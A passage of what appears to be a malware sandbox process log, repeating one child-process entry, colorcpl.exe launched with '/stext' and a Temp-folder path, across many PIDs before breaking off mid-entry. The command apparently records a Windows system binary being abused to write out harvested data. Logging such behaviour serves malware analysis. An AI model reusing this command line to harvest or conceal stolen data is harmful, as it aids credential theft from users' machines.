  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9088
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9096
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9104
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9112
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9120
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9128
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9136
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9144
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9152
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9160
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9168
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9176
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9184
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9192
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9200
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9208
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:8416
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9224
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9232
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9240
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9248
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9256
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9264
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9272
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9280
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9288
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9296
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9304
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9312
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9320
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9328
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9336
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9344
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9352
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9360
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9368
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9376
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9384
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9392
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9400
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9408
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9416
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9424
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9432
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9440
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9448
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9456
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9464
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9472
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9480
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9488
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9496
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9504
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9512
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9520
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9528
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9536
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9544
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9552
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9560
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9568
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9576
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9584
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9592
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9600
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9608
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9616
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9624
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9632
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9640
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9648
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9656
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9664
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9672
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9680
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9688
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9696
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9704
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9712
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9720
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9728
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9736
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9744
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9752
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9760
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9768
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9776
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9784
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9792
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9800
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9808
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9816
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9824
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9832
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9840
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9848
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9856
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9864
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9872
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9880
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9888
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9896
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9904
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9912
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9920
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9928
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9936
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9944
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9952
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9960
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9968
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9976
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9984
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9992
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10000
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10008
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10016
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10024
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10032
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10040
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10048
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10056
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10064
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10072
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10080
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10088
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10096
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10104
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10112
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10120
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10128
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10136
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10144
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10152
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10160
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10168
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10176
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10184
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10192
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10200
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10208
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10216
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10224
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10232
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:9228
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10036
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10244
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10252
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10260
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10268
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10276
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10284
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10292
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10300
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10308
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10316
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:10324
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
